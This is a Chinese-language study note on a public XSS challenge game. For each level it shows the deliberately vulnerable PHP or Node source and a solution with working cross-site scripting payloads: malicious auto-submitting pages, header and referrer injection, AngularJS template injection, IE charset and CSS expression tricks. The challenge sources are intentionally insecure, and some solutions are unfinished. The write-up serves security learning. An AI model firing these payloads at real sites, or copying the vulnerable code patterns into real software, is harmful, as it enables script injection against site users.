先知xss挑战赛学习笔记
xss游戏
游戏地址：http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/
1. 文件上传
源码如下
<?php
header("X-XSS-Protection: 0");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".<BR>";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}
?>
解答
文件名进行xss，构造恶意页面
<html>
<body>
<form id="xss" action="http://127.0.0.1/xss/target/1.php" method="POST" enctype="multipart/form-data">
<textarea type="text" id="vulnerable" value="" /></textarea>
</form>
<script>
var tarfile = "test";
var vuln = document.getElementById('vulnerable');
vuln.name = "x\"; name=fileToUpload; filename=\"<img src=1 onerror=alert(document.domain)>.jpg";
vuln.value = (tarfile);
document.getElementById("xss").submit();
</script>
</body>
</html>
2. getallheaders()
源码
<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset=utf-8>
<head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER']))
{
echo "Bad Referrer!";
}
else
{
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}
}
?>
</body>
</html>
解答
也就是浏览器会对网页进行缓存，那么如果第一次我能够修改http头然后再进行跨域请求，第二次再请求一次的时候，http的信息还是不会变的，因为直接读取了本地缓存内容.
所以可以使用Fetch先请求，在利用iframe框架进行第二请求，另外注意的就是需要通过meta标签来设置一下referrer，也就是第二次iframe加载的时候是不带referer的.按道理可以在FF下面也成功，不过好像FF不支持meta这样禁止referer
<html>
<head>
<meta name="referrer" content="never">
<script>
var request = new Request('http://xianzhi.aliyun.com/xss2.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain',
'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
})
});
fetch(request).then(function() {
console.log(1);
});
</script>
</head>
<body>
<iframe src="http://xianzhi.aliyun.com/xss2.php"></iframe>
</body>
</html>
3. json
源码
<?php
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>
解答
3.html
<meta charset=utf-8>
<iframe id=x src=3.php></iframe>
<script>
x.location.reload();
</script>
3.php
<?php
header("location: http://xianzhi.aliyun.com/xss3333.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");
?>
IE8复现失败...
4. referrer
源码如下
<?php
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自".$_SERVER['HTTP_REFERER'];?>
</body>
</html>
解答
- 第一种:
data:text/html,<meta name="referrer" content="always"><script>if(location.protocol!='data:'){alert(1)}else{location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php"}</script>
- 第二种 :
<html>
<script>
window.location.href="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss4.php";
</script>
</html>
这种在IE下有效，由于chrome和firefox 会对尖括号进行url编码，导致无效
构造链接:
http://xss_referrer.html?<script>alert("1")</script>
5. 跳转
跳转
<?php
header("X-XSS-Protection: 0");
$url=str_replace(urldecode("%00"),"",$_GET["url"]);
$url=str_replace(urldecode("%0d"),"",$url);
$url=str_replace(urldecode("%0a"),"",$url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>
解答
若使用的端口小于80，则浏览器不会进行跳转
http://127.0.0.1/xss/target/5.php?url=http://baidu.com:0/'%3E<img src=1 onerror=alert(document.domain)><a>
ie8成功
6.强制下载
源码
<?php
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
解答
为PHP的header函数一旦遇到\0、\r、\n这三个字符，就会抛出一个错误，此时Location头便不会返回，浏览器也就不会跳转
7. text/plain
源码
<?php
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');
if(substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
}
else
{
echo "Bad URL!";
}
?>
解答：
通过在图片中插入恶意代码，然后把图片的地址参数赋予url参数，只在IE下有效
payload:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss7.php?url=https://homemadecode.de/security_logo_string.jpg
9. plaintext
源码
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>
解答
又没有成功复现，这里直接给个IE的exp
9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e
10. MVM
源码
<html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>
解答
Client Side Template Injection
?username=%7B%7B%5B%5D.pop.constructor(%27alert(1)%27)()%7D%7D
11. HOST
源码
"use strict";
var http = require('http');
(function(){
http.createServer(function (req, res) {
res.writeHead( 200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" } );
res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>' );
}).listen(80);
console.log( "Running server on port 80" );
})();
这啥啊。。。
12. preview
源码
<?php
# the request
$ch = curl_init($_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
# get the content type
$mime = array("application/octet-stream","application/postscript","application/x-cdf","application/x-compressed","application/x-zip-compressed","audio/basic","audio/wav","audio/x-aiff","video/avi","video/mpeg","video/x-msvideo","image/png","image/jpeg","image/gif");
if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
//header("X-Content-Type-Options: nosniff");
echo curl_exec($ch);
}
# output
// text/html; charset=ISO-8859-1
?>
解答
当服务器指定的不是一个正确的content-type头时，IE为了兼容这些文件类型，会将文件的前256个字节和已知的文件头进行比较，然后得到一个结果...也就是作为开头的话，会被认为是 text/html
恶意页面
<?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>
http://127.0.0.1/xss/target/12.php?url=http://127.0.0.1/xss/12.php
ie8 复现失败
13. REQUEST_URI
源码
<?php
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>
解答
$_SERVER['REQUEST_URI']：访问此页面所需的 URI
payload:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss13.php?<script>alert(1)</script>
PS:在IE浏览器下触发,不会进行编码
二解：
加一次跳IE不会进行编码
恶意页面：
<?php
header("Location: http://127.0.0.1/xss/target/13.php/<svg/onload=alert(document.domain)>");
IE8 复现失败
14. HIDDEN
源码如下：
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>
解答
特定的浏览器才能绕过，在firefox下
<input type="hidden" accesskey="X" onclick="alert(1)">
然后按shift+alt+x 进行触发
IE6 下
<input type=hidden style=x:expression(alert(1))>
最后payload:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss14.php?token=11' accesskey='X' onclick='alert(1)
16. PHP SELF
源码
<html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","<",$_SERVER['PHP_SELF']);
$output=str_replace(">",">",$output);
echo $output;
?>
</h1>
</body>
</html>
解答
payload:
http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/xss16.php/}*{xss:expression(open(alert(1)))}/
需要IE10才能复现。
